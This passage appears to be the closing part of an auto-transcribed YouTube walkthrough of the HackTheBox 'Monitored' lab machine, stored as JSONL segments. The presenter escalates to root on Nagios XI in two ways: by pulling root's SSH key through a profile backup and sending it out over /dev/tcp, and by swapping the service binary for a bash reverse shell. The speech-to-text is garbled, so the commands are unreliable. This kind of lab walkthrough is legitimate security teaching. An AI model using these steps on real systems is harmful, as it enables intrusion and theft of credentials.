{"text": "log okay so now I look at this let's see where is CMD subsis we can see that file is pointed to this so if we run the backup again when it goes to backup that CMD subsis file it's going to back up the authorized key of root and hopefully give it to us uh now we just to find out where this profile is saved it's probably going to be in this components directory up One Directory there we go I'm guessing it's profile. zip so we can move this to Temp let's do unzip profile.", "start": 3362.599, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 43 |
+
{"text": "zip and let's see um find. dname CMD subs. log was it what was that name that's not looking promising CMD subsist what did you do with that file create it oh it's cat that is a weird name for it did not find it so maybe this was not a good one to do see CMD subsy so we get the last 500 lines of this file and we send it to no nagios XI logs nagios logs CMD subsis there it is I don't know my find command did not find it but we do have a SSH key so let's copy this back over to our box um you can just do it this way let's see go up here and see lvmp 91 let's direct this to root then we can cat CMD subsist to Dev TCP 10148 90001 chod 600 root sh- I root at 10 10 11248 there we go and we're root so that is one way to do this there is a second way we could have exploited a different cron that we can show real quick um if we look at it there is this", "start": 3404.52, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 44 |
+
{"text": "manage services and we can also like restart nagios if we look at this inet script uh let's see Etsy and nitd that file doesn't exist let's look at manage services this lets us just restart Nagi and if we look psf grap nagus we do have the bin here and if we look at it it is owned by us so if we replace this binary with another binary or a script it'll execute it when we restart nagu now I wouldn't recommend going this route this is why I'm showing it the second time or second way the first way is much safer because all we did was erase a log file right here we're replacing a service binary so when we restart the service there's a high chance that service is going to go down and create an outage right this is one of those dangerous tests to do but let's do it because we're in a lab so let's go use a local bin nagios or use a local", "start": 3546.359, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 45 |
+
{"text": "nagio bin and then I'm going to copy let's move nagios to nagios like this whenever I back up files I always just add that um squiggly line after it so let's do vus we can say it's a bash script B- C no we can just do Bashi uh like this Dev TCP 10148 91 0 and one like that we don't need the bash d c because up here we're telling the script to run as bash so it's kind of redundant to say hey run his bash then run this bash command that does this command um so yeah now we just want to do CH mod-x plus X on nagios and again this is a dangerous thing so before I try restarting the service um I want to just execute the script to make sure I don't have a typel because you may only get one shot to do this um so we can do pseudo- L and now we can do pseudo user local manage service nagos and then we want to tell it to restart oh so the first argument has to", "start": 3614.359, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 46 |
+
{"text": "be restart and then the second argument has to be one of these so this what prevents us from just putting like a reverse shell command injection but we can say restart nagios and it did not work there we go maybe I wasn't listening but here we go we have a root shell so that's the second way to do this um and that will be the box so I hope you guys enjoyed it take care and I'll see you all next time", "start": 3691.119, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|